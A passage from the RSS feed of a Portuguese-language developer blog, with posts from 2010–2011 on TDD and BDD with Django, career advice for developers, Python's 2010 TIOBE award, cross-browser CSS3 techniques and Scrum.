&lt;li&gt;Escrevo estas estórias em forma de testes. Estes testes podem ser
classificados como funcionais (no meu caso testo as &lt;em&gt;views&lt;/em&gt; do
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, mas isso pode variar de acordo com a aplicação);&lt;/li&gt;
&lt;li&gt;E através de “baby step” e &lt;em&gt;unit&lt;/em&gt;, crio testes isolados para os
modelos, formulários, &lt;em&gt;views&lt;/em&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Testes de comportamento tendem a levar mais tempo para serem executados,
esta é outra razão para termos sempre em mãos os testes unitários.&lt;/p&gt;
&lt;p&gt;Até hoje não ví uma maneira “silver bullet” de trabalhar com testes
automatizados. Encaro da seguinte maneira:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Está cobrindo o teu sistema?&lt;/li&gt;
&lt;li&gt;Está guiando de forma correta o seu desenvolvimento?&lt;/li&gt;
&lt;li&gt;Está sendo escrito da forma correta (não deixando &lt;em&gt;bugs&lt;/em&gt; passarem
despercebidos, por exemplo)?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se todas as respostas forem sim, acredito que esteja sendo feito da
maneira adequada.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://logbr.reflectivesurface.com/2008/10/27/algumas-consideracoes-sobre-tdd-e-bdd/&quot; title=&quot;Leia mais no Superfície Reflexiva.&quot;&gt;&lt;em&gt;Superfície Reflexiva&lt;/em&gt; - Algumas considerações sobre &lt;em&gt;TDD&lt;/em&gt; e
&lt;em&gt;BDD&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://portalarquiteto.blogspot.com/2008/02/automao-de-testes-funcionais-e-de.html&quot; title=&quot;Leia mais no Portal do Arquiteto.&quot;&gt;&lt;em&gt;Portal do Arquiteto&lt;/em&gt; - Automação de testes funcionais e de
aceitação&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.aprendendodjango.com/programando-com-testes-automatizados/&quot; title=&quot;Leia mais no Aprendendo Django.&quot;&gt;&lt;em&gt;Aprendendo Django no Planeta Terra&lt;/em&gt; - Programando com Testes
Automatizados&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/cmilfont/mare-de-agilidade-bdd-e-tdd&quot; title=&quot;Veja a apresentação no Slideshare.&quot;&gt;&lt;em&gt;Maré de Agilidade&lt;/em&gt;: &lt;em&gt;BDD&lt;/em&gt; e &lt;em&gt;TDD&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dtsato.com/blog/work/introduzindo_desenvolvimento_orientado_comportamento_bdd/&quot; title=&quot;Leia mais no blog do Sato.&quot;&gt;&lt;em&gt;Danilo Sato&lt;/em&gt; - Introduzindo Desenvolvimento Orientado por
Comportamento&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[TDD: Desenvolvimento Orientado a Testes]]></title><description><![CDATA[Esse post foi originalmente escrito para o Profissionais TI, você
pode conferi-lo na íntegra aqui. O caos! Hoje em dia o agile passou de uma…]]></description><link>https://klauslaube.com.br/2011/01/27/tdd-desenvolvimento-orientado-testes.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/01/27/tdd-desenvolvimento-orientado-testes.html</guid><pubDate>Thu, 27 Jan 2011 11:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Esse post foi originalmente escrito para o &lt;a href=&quot;http://www.profissionaisti.com.br/&quot; title=&quot;Tudo sobre Tecnologia! ProfissionaisTI&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;, você
pode conferi-lo na &lt;a href=&quot;http://www.profissionaisti.com.br/2009/11/tdd-desenvolvimento-orientado-a-testes/&quot; title=&quot;TDD: Desenvolvimento Orientado a Testes&quot;&gt;íntegra aqui&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O caos!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hoje em dia o &lt;a href=&quot;/tag/agile.html&quot; title=&quot;Leia mais sobre Agile&quot;&gt;&lt;em&gt;agile&lt;/em&gt;&lt;/a&gt; passou de uma “técnica anarquista” para uma
saborosa realidade, principalmente nas &lt;em&gt;startups&lt;/em&gt; de tecnologia.&lt;/p&gt;
&lt;p&gt;Uma das características de qualquer método ou ferramenta &lt;em&gt;agile&lt;/em&gt; é que:
&lt;strong&gt;Qualidade não é negociável&lt;/strong&gt;; Como podemos garantir que ao final de
cada ciclo de entregas estamos entregando uma solução que atenda escopo,
prazo e também qualidade?&lt;/p&gt;
&lt;h2&gt;Test first&lt;/h2&gt;
&lt;p&gt;Metodologias ágeis como o &lt;a href=&quot;/tag/scrum.html&quot; title=&quot;Leia mais sobre Scrum&quot;&gt;&lt;em&gt;Scrum&lt;/em&gt;&lt;/a&gt; e o &lt;em&gt;XP&lt;/em&gt; adotam a técnica “Test
First”:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Primeiro escreva um teste que falhe&lt;/li&gt;
&lt;li&gt;Depois escreva um código que faça o teste passar&lt;/li&gt;
&lt;li&gt;Melhore o código escrito&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 220px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6d58617bdc43b76ee0fdd3d92d9a93d1/c8042/red-green-refactor.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.979166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5ElEQVQozxWRyVNScQDHf2nqwU7NdMnSpkZtynJ0HBdGw3KZ0djcIEUE1HREE9JEQEKFEJBFePAe8FgeTx7yEHABF1wnlw46Up3q0h8TznwO38vn8Jkv4PEGqiorrDo1BltxF5Qh6IYJDxIP+sI+VwRDSX8GZzzoPdvb3ImGSAyl09pKS4q16gVQV1t3B4C4TvYzCKUj7h8B6LvbvGNaTAcdhzbtFQ6de0x7Vs0xov+bDF1gUNKmK332BADA4/aB+oY32Tl3w3ZDGlZfzwpu9FM382OXRsWBy3zqg85w5MizcuK3XRDO6xh2EXJfhj1PHxdkZHZ3N+iht6Ef2VebwXQA+qOV/PPoflvnt5fke4Q3FfJdJCIHJJZa859vk+mT3RSJ70fwly+eZ2UBBpMJuIx2c2PlsVGV3FrTR1YluHPKbZGbteOO5UQ8GHMYj8K+PdxF3g5sF3cROmVEPIgJWeJhPhB2sWBa0/aiPIDaFXbLVwRSmAw4YkF9SCpKHIcDJ+uBJAanCM/pOpbwO1DphKmxXF1XMjnIAwP0dmlVWWx+GtHoxsYMqjlEo4SkU8sGtUMqR2Ry+CRKXO+Gfx1vbXrtq1Y9Ovd5urq4IA+00WiggUrN1It6mKTNAGvUUSe84YIMMoXXqCdddnhJl8RcCT+cCDhjKOQ3L5llkqIH9zMKK9NMpVLzcrIVQu6GVe9QyZwa5bJ8xvRlMmLSJJ3La8bFLcS4btMn0JUN54rnm0o7K8m/l5+RGQwGqKmvZ78q2R8RrIuGMfEQPjVkGeQ4hrmHCvHm9DAhEaCjbAO7SdVOkbbWKDvecltqHz28vYpOp4M6CiUPgOaiQhGleoHZYuS8t3S16rtpXi6L4PfgQ5zV0V64v11OLRusKBQ3l/slPUpeZ25WLpPBAnw+v6zsdcu75t7OjlFe/4RAMCkUjvf1qnu7faKhuHImoVZsLMyGZCLLyAfTKIdc/LRjUTTXU0Tjk/8BtMdVeMGhFmkAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;red, green, refactor&amp;quot;&quot;
        title=&quot;Red, Green, Refactor!&quot;
        src=&quot;/static/6d58617bdc43b76ee0fdd3d92d9a93d1/c8042/red-green-refactor.png&quot;
        srcset=&quot;/static/6d58617bdc43b76ee0fdd3d92d9a93d1/8514f/red-green-refactor.png 192w,
/static/6d58617bdc43b76ee0fdd3d92d9a93d1/c8042/red-green-refactor.png 220w&quot;
        sizes=&quot;(max-width: 220px) 100vw, 220px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Red, Green, Refactor!&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Além da garantia de que sua aplicação irá
funcionar após uma atualização ou &lt;em&gt;bugfix&lt;/em&gt;, devemos levar em conta que
estamos indo além do simples ato de testar. É nisso que muita gente se
confunde quando fala-se em &lt;a href=&quot;/tag/tdd.html&quot; title=&quot;Leia mais sobre TDD&quot;&gt;&lt;em&gt;Test-Driven Development&lt;/em&gt;&lt;/a&gt;: Não trata-se
apenas de testes, trata-se de design!&lt;/p&gt;
&lt;p&gt;Os testes passam a ser a sua especificação, passam a ser a forma de você
medir se o seu &lt;em&gt;software&lt;/em&gt; está sendo conduzido para o real objetivo ou
não. Literalmente, os &lt;strong&gt;testes guiam o seu desenvolvimento&lt;/strong&gt; – mas isso
não garante que a solução como um todo esteja funcional, por isso é
necessário uma pitada de bom senso (como em tudo na vida).&lt;/p&gt;
&lt;p&gt;Quando você menos espera, a construção dos testes automatizados passou
de “testes” para “desenvolvimento”. Ou seja, esse método irá fazer parte
do processo de construção de código e você começará a medir qualquer
estimativa referente a codificação com os testes inclusos, naturalmente.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;web&lt;/em&gt; está repleta de artigos sobre como construir estes testes, como
executá-los, etc. Então, não vou ficar repetindo o que o &lt;em&gt;Google&lt;/em&gt; pode
responder.&lt;/p&gt;
&lt;h2&gt;Automatizar = Agilidade?&lt;/h2&gt;
&lt;p&gt;Mas porque &lt;em&gt;TDD&lt;/em&gt; ajuda tanto? Será que vale a pena praticar?&lt;/p&gt;
&lt;p&gt;Quando comecei a programar orientado a objetos, tinha em mente que
aquilo era só curiosidade, que no modo estruturado estava muito bom e
não via a real utilidade daquilo tudo. Claro, isso até ser completamente
envolvido por &lt;em&gt;OOP&lt;/em&gt;, e quando me dei conta não sabia mais viver sem ele.&lt;/p&gt;
&lt;p&gt;Agora já posso dizer o mesmo de &lt;em&gt;TDD&lt;/em&gt;. O prazer de construirmos
orientados a testes, através de um processo &lt;em&gt;baby-steps&lt;/em&gt;, é desafiador…
voltei a acreditar que posso fazer &lt;em&gt;software&lt;/em&gt; bom e de qualidade, pois:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A taxa de acerto é alta&lt;/li&gt;
&lt;li&gt;A ocorrência de erros diminui&lt;/li&gt;
&lt;li&gt;Você ganha confiança no que está produzindo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mesmo que você perca tempo não previsto no desenvolvimento, poupa tempo
(espero eu que) previsto nos testes. No começo a performance do
desenvolvedor cai significativamente… mas com o tempo irá tornar-se uma
prática para dar maior segurança em relação a qualidade do seu
&lt;em&gt;software&lt;/em&gt;, e também dar maior segurança a você.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Desenvolvedores: 5 conselhos que para mim funcionaram!]]></title><description><![CDATA[Este post foi originalmente escrito para o Profissionais TI, você
pode conferí-lo na íntegra aqui. 1 - Mantenha-se atualizado Livros, RSS…]]></description><link>https://klauslaube.com.br/2011/01/24/desenvolvedores-5-conselhos-para-mim-funcionaram.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/01/24/desenvolvedores-5-conselhos-para-mim-funcionaram.html</guid><pubDate>Mon, 24 Jan 2011 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Este post foi originalmente escrito para o &lt;a href=&quot;http://www.profissionaisti.com.br/&quot; title=&quot;Profissionais TI&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;, você
pode conferí-lo na íntegra &lt;a href=&quot;http://www.profissionaisti.com.br/2009/10/developers-5-conselhos-que-para-mim-funcionaram/&quot; title=&quot;Developers: 5 conselhos que para mim funcionaram&quot;&gt;aqui&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;1 - Mantenha-se atualizado&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://skoob.com.br/usuario/118855&quot; title=&quot;Acompanhe o que eu ando lendo no Skoob&quot;&gt;&lt;em&gt;Livros&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://klauslaube.com.br/feed/rss.xml&quot; title=&quot;Assine o nosso Feed RSS&quot;&gt;&lt;em&gt;RSS&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.twitter.com/kplaube&quot; title=&quot;Acompanhe o que ando dizendo no Twitter&quot;&gt;&lt;em&gt;Twitter&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Blogs&lt;/em&gt;, &lt;em&gt;Wikis&lt;/em&gt;, etc. A
informação está em todo o lugar, não há mais desculpas para não
manter-se atualizado.&lt;/p&gt;
&lt;p&gt;As assinaturas &lt;em&gt;RSS&lt;/em&gt; têm me mantido atualizado sobre os mais variados
assuntos sem necessitar ficar perdendo a manhã inteira pulando de &lt;em&gt;blog&lt;/em&gt;
em &lt;em&gt;blog&lt;/em&gt;. Isso é magnífico, já que em 30 mins ou no máximo 1 hora sou
capaz de me manter informado sobre os assuntos que realmente me
interessam e que fazem a diferença no meu ambiente profissional.&lt;/p&gt;
&lt;p&gt;Descobrí no &lt;em&gt;Twitter&lt;/em&gt; uma forma ultra-rápida de me manter atualizado:
sigo pessoas relevantes que estão a todo instante postando &lt;em&gt;links&lt;/em&gt;
interessantes, discutindo assuntos interessantes, nos informando o que
estão fazendo; Obviamente existe toda a parte descartável, mas não
estamos totalmente imunes a isto.&lt;/p&gt;
&lt;h2&gt;2 - Seja aberto a novidades&lt;/h2&gt;
&lt;p&gt;Pode parecer bobagem, mas conheço gente que simplesmente se isola do
mundo com medo de novidades.&lt;/p&gt;
&lt;p&gt;Creio que isso esteja relacionado ao “medo da mudança”. Quando atingimos
uma zona de conforto, precisamos de muito estímulo para deixá-la. Isso é
fato, é em momentos de crise que a humanidade mais se desenvolve. É em
momentos de crise que os profissionais são obrigados a deixar sua zona
de conforto.&lt;/p&gt;
&lt;p&gt;Não vejo nada de errado em ser saudosista, mas seja um saudosista
moderado. Novos modos de fazer tecnologia estão aparecendo e estão
caindo no gosto de muito “peixe grande” da informática.&lt;/p&gt;
&lt;h2&gt;3 - Networking é bom&lt;/h2&gt;
&lt;p&gt;Participe de listas de discussões! Tenha um &lt;em&gt;Twitter&lt;/em&gt;! Tenha um
Mensageiro Instantâneo! Participe de salas do &lt;em&gt;IRC&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;Eu participo de listas de discussões e posso dizer que já salvaram a
minha vida algumas vezes. Quando eles não conseguem resolver, sou
obrigado a partir pro &lt;em&gt;IRC&lt;/em&gt;, onde existem pessoas muito inteligentes
dispostas a lhe ajudar.&lt;/p&gt;
&lt;p&gt;E quando isso não resolve, o jeito é partir pra lista de contatos do seu
e-mail ou mensageiro instantâneo.&lt;/p&gt;
&lt;p&gt;Mas, além disso tudo eu recomendo: o &lt;em&gt;face-to-face&lt;/em&gt; é a melhor forma de
resolver seus problemas; Tenha “contatos de carne e osso”!&lt;/p&gt;
&lt;h2&gt;4 - Humildade, ou “sempre tem um peixe maior”&lt;/h2&gt;
&lt;p&gt;E isso envolve &lt;em&gt;EGO&lt;/em&gt;, ou o ato de não deixá-lo do tamanho de um
elefante.&lt;/p&gt;
&lt;p&gt;Talvez esse tenha sido o maior desafio para mim (e é até hoje): pedir
ajuda; Simplesmente aceitar que o indíviduo é mais capaz do que você em
determinada situação, mas também entender que se ele compartilhar esse
conhecimento com você, ambos serão capazes de executar a função juntos.&lt;/p&gt;
&lt;p&gt;Ser humilde é um ato que atrai mais pessoas ao seu redor. Atraia pessoas
inteligentes… isso só fará bem a você.&lt;/p&gt;
&lt;h2&gt;5 - Colabore / Compartilhe&lt;/h2&gt;
&lt;p&gt;E além de pedir ajuda, ajude! &lt;a href=&quot;http://www.profissionaisti.com.br/colabore&quot; title=&quot;Colabore com o Profissionais TI&quot;&gt;Compartilhe o seu &lt;em&gt;know-how&lt;/em&gt;&lt;/a&gt; sobre
alguma linguagem, ferramenta ou prática.&lt;/p&gt;
&lt;p&gt;Penso da seguinte maneira: Quanto mais gente utilizar a mesma técnica
que você, mais ela se tornará conhecida, e igualmente se tornará mais
forte.&lt;/p&gt;
&lt;p&gt;Nem vou mencionar sobre &lt;em&gt;Software&lt;/em&gt; Livre, &lt;em&gt;Open Source&lt;/em&gt;, etc. Não
trata-se do &lt;em&gt;software&lt;/em&gt; rodando naquela máquina, trata-se do conhecimento
investido e adquirido, e o fato desse conhecimento poder ser propagado.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Tiobe elege o Python como a linguagem de programação de 2010]]></title><description><![CDATA[Não é de hoje que Python conquistou o
respeito dos mais diversos entusiastas do mercado de Tecnologia da
Informação de todo o mundo… e era…]]></description><link>https://klauslaube.com.br/2011/01/11/tiobe-elege-python-como-linguagem-de-programacao.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/01/11/tiobe-elege-python-como-linguagem-de-programacao.html</guid><pubDate>Tue, 11 Jan 2011 11:16:00 GMT</pubDate><content:encoded>&lt;p&gt;Não é de hoje que &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; conquistou o
respeito dos mais diversos entusiastas do mercado de Tecnologia da
Informação de todo o mundo… e era questão de tempo para que esse
reconhecimento fosse “sacramentado”.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://henriquebastos.net/2011/01/09/python-e-eleito-a-linguagem-de-2010/&quot; title=&quot;Python é eleito a linguagem de 2010&quot;&gt;&lt;em&gt;Henrique Bastos&lt;/em&gt;&lt;/a&gt; divulgou na &lt;a href=&quot;http://groups.google.com/group/django-brasil&quot; title=&quot;Grupo de discussão Django Brasil&quot;&gt;lista de discussão do &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; a
notícia que a &lt;a href=&quot;http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html&quot; title=&quot;January Headline: Python wins the TIOBE Programming Language Award of 2010!&quot;&gt;&lt;em&gt;Tiobe&lt;/em&gt; elegeu o &lt;em&gt;Python&lt;/em&gt; como linguagem de 2010&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Python&lt;/em&gt; agora ocupa a quinta colocação da tabela da &lt;em&gt;Tiobe&lt;/em&gt;, atrás
somente de &lt;em&gt;Java&lt;/em&gt;, &lt;em&gt;C&lt;/em&gt;, &lt;em&gt;C++&lt;/em&gt; e &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O sucesso deve-se desde a rica documentação, até as excepcionais
&lt;em&gt;frameworks&lt;/em&gt; que tornam a linguagem uma das ferramentas modernas mais
poderosas (e ágeis) para desenvolvimento de &lt;em&gt;software&lt;/em&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CSS3: Cantos arredondados, sombras e degradês até no IE]]></title><description><![CDATA[Enquanto o movimento em prol do HTML5 ganha cada vez mais força, o
que podemos falar do CSS3? Para a nossa felicidade, Opera, Safari, Google…]]></description><link>https://klauslaube.com.br/2010/12/27/css3-cantos-arredondados-sombras-degrades-ate.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/12/27/css3-cantos-arredondados-sombras-degrades-ate.html</guid><pubDate>Mon, 27 Dec 2010 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Enquanto o &lt;a href=&quot;/2010/11/13/usando-html5-sem-medo.html&quot; title=&quot;Usando o HTML5 sem medo&quot;&gt;movimento em prol do HTML5 ganha cada vez mais força&lt;/a&gt;, o
que podemos falar do &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS3&lt;/em&gt;&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;Para a nossa felicidade, &lt;em&gt;Opera&lt;/em&gt;, &lt;em&gt;Safari&lt;/em&gt;, &lt;em&gt;Google Chrome&lt;/em&gt;, &lt;em&gt;Firefox&lt;/em&gt; e
(o polêmico) &lt;em&gt;IE9&lt;/em&gt; já apresentam (ou apresentarão, no caso do &lt;em&gt;IE&lt;/em&gt;) bom
suporte às principais propriedades do &lt;em&gt;CSS3&lt;/em&gt;. Mas vale ressaltar que,
assim como o &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt; o &lt;em&gt;CSS3&lt;/em&gt; é apenas um “draft“… os navegadores
suportam algumas características através de expressões proprietárias
(então a cautela neste caso também é necessária).&lt;/p&gt;
&lt;p&gt;Isto pode (e deve) ser encarado de uma forma muito negativa. Mas temos
que entender que estas expressões proprietárias estão calcadas em
especificações do &lt;em&gt;W3C&lt;/em&gt;, ou seja, é bem provável que o &lt;code class=&quot;language-text&quot;&gt;border-radius&lt;/code&gt;
do &lt;em&gt;Firefox&lt;/em&gt; (realizado através da expressão &lt;code class=&quot;language-text&quot;&gt;-moz-border-radius&lt;/code&gt;) irá
reproduzir um efeito similar ao &lt;code class=&quot;language-text&quot;&gt;border-radius&lt;/code&gt; do &lt;em&gt;Chrome&lt;/em&gt; (que já
segue a especificação do &lt;em&gt;W3C&lt;/em&gt;). A dica que eu dou é a seguinte: Utilize
&lt;a href=&quot;http://www.tableless.com.br/graceful-degradation-e-tudo-sobre-acessibilidade&quot; title=&quot;Graceful degradation é tudo sobre Acessibilidade&quot;&gt;&lt;em&gt;Graceful Degradation&lt;/em&gt;&lt;/a&gt;, ou seja, &lt;strong&gt;escreva seus estilos com
&lt;em&gt;CSS3&lt;/em&gt;&lt;/strong&gt;, e vá &lt;strong&gt;adicionando exceções para suportar os demais
navegadores&lt;/strong&gt; que não suportam certas propriedades.&lt;/p&gt;
&lt;p&gt;Vamos ao que interessa?!&lt;/p&gt;
&lt;h2&gt;CSS3 Please!&lt;/h2&gt;
&lt;p&gt;O site &lt;a href=&quot;http://css3please.com/&quot; title=&quot;Saiba como fazer CSS3 Cross-Browser&quot;&gt;&lt;em&gt;CSS3 Please! The Cross-Browser CSS3 Rule Generator&lt;/em&gt;&lt;/a&gt; nos
ensina como fazer &lt;code class=&quot;language-text&quot;&gt;border-radius&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;box-shadow&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;transform&lt;/code&gt;,
&lt;code class=&quot;language-text&quot;&gt;transition&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;text-shadow&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;font-face&lt;/code&gt;; de forma muito simples
e prática, e que funcione no &lt;em&gt;Safari&lt;/em&gt;, &lt;em&gt;Chrome&lt;/em&gt;, &lt;em&gt;Opera&lt;/em&gt; e &lt;em&gt;Firefox&lt;/em&gt; (e
algumas propriedades até no &lt;em&gt;IE&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;É uma referência muito interessante que deve estar sempre disponível
para quando bater aquela dúvida. Podemos reparar que são (na maioria dos
casos) expressões proprietárias, mas que atingem a experiência obtida
utilizando uma expressão &lt;em&gt;standard&lt;/em&gt; (como no caso do &lt;code class=&quot;language-text&quot;&gt;border-radius&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;CSS3 PIE&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;CSS3 Please!&lt;/em&gt; já quebra um bom galho na utilização de alguns recursos
do &lt;em&gt;CSS3&lt;/em&gt;. Mas no caso do &lt;em&gt;IE&lt;/em&gt;, algumas propriedades como
&lt;code class=&quot;language-text&quot;&gt;border-radius&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;box-shadow&lt;/code&gt; (que no meu caso são as propriedades
mais “salva-vidas” da linguagem) não possuem alternativas.&lt;/p&gt;
&lt;p&gt;O site &lt;a href=&quot;http://css3pie.com/&quot; title=&quot;CSS3 decorations for IE&quot;&gt;&lt;em&gt;CSS3 PIE&lt;/em&gt;&lt;/a&gt; apresenta uma forma de utilizar estas propriedades
sem precisar utilizar &lt;em&gt;PNGs&lt;/em&gt; com transparência. Através de um arquivo
&lt;strong&gt;.htc&lt;/strong&gt; importado na folha de estilo, podemos fazer com que o &lt;em&gt;IE&lt;/em&gt; (do
6 ao 8 ) possa compreender as seguintes propriedades:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;border-radius&lt;/li&gt;
&lt;li&gt;box-shadow&lt;/li&gt;
&lt;li&gt;border-image&lt;/li&gt;
&lt;li&gt;Múltiplas imagens de fundo (background images)&lt;/li&gt;
&lt;li&gt;Gradiente como fundo (linear-gradient as background image)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Já é uma boa economia de trabalho, não?&lt;/p&gt;
&lt;h2&gt;jQuery e Graceful Degradation&lt;/h2&gt;
&lt;p&gt;Recentemente o &lt;em&gt;Tableless&lt;/em&gt; fez um &lt;a href=&quot;http://www.tableless.com.br/jquery-para-layouts&quot; title=&quot;jQuery para produção de layouts&quot;&gt;excelente &lt;em&gt;post&lt;/em&gt;&lt;/a&gt; sobre como usar a
&lt;a href=&quot;/tag/jquery.html&quot;&gt;&lt;em&gt;jQuery&lt;/em&gt;&lt;/a&gt; como meio de fazer alguns navegadores lidarem da melhor
forma possível com novos recursos do &lt;em&gt;CSS3&lt;/em&gt; e &lt;em&gt;HTML5&lt;/em&gt;. Sempre fui muito
a favor da visão deles e dessa vez não será diferente.&lt;/p&gt;
&lt;p&gt;Nivelar por baixo pode ser uma excelente forma de garantir
acessibilidade. Mas não é pecado “vendermos” um pouco de “boa
experiência” para nossos usuários.&lt;/p&gt;
&lt;p&gt;Enriquecer a experiência do usuário não é crime… esquecer da
acessibilidade sim.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SCRUM: Como encontrei a felicidade gerenciando prazos]]></title><description><![CDATA[Eu como desenvolvedor nunca tive real interesse em
gerência de projetos, o que fatalmente resultava em projetos de
qualidade duvidosa e fora…]]></description><link>https://klauslaube.com.br/2010/12/09/scrum-como-encontrei-felicidade-gerenciando-prazos.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/12/09/scrum-como-encontrei-felicidade-gerenciando-prazos.html</guid><pubDate>Thu, 09 Dec 2010 11:53:00 GMT</pubDate><content:encoded>&lt;p&gt;Eu como desenvolvedor nunca tive real interesse em
gerência de projetos, o que fatalmente resultava em projetos de
qualidade duvidosa e fora de prazo. Devo confidenciar que até hoje não
tenho interesse no modelo “tradicional” de gerenciar projetos de
&lt;em&gt;software&lt;/em&gt;, mas a preocupação com a qualidade, prazos e escopo acabou
por fazer parte do meu cotidiano quando abri minha própria empresa de
desenvolvimento.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Startups&lt;/em&gt; geralmente são compostas por equipes pequenas, e estas
devem ser &lt;strong&gt;multidisciplinares&lt;/strong&gt;. Acredito que o “desenvolvedor
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;” atualmente é mais do que aquele “feijão com arroz” do início
dos anos 2000. Hoje temos a obrigação de saber o mínimo possível de cada
área de conhecimento que envolve o desenvolvimento de &lt;em&gt;software&lt;/em&gt;: desde
&lt;em&gt;design&lt;/em&gt; de interfaces à modelagem de entidades e relacionamentos em um
banco de dados (ou seja, verdadeiros Engenheiros de &lt;em&gt;Software&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Um dia eu disse “chega” ao caos, e decidi que meus projetos de agora em
diante deveriam possuir prazos bem definidos e acima de tudo
qualidade. O meu primeiro passo foi procurar ferramentas, e esse foi
o meu maior erro. Não se trata de ferramentas ou processos… &lt;strong&gt;trata-se
de pessoas e atitude!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu me sinto na obrigação de falar sobre &lt;a href=&quot;/tag/scrum.html&quot; title=&quot;Leia mais sobre Scrum&quot;&gt;&lt;em&gt;Scrum&lt;/em&gt;&lt;/a&gt; antes mesmo de falar
sobre camadas de desenvolvimento &lt;em&gt;web&lt;/em&gt;, ambientes de desenvolvimento
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; / &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, ou sobre testes automatizados.&lt;/p&gt;
&lt;h2&gt;Trata-se de pessoas…&lt;/h2&gt;
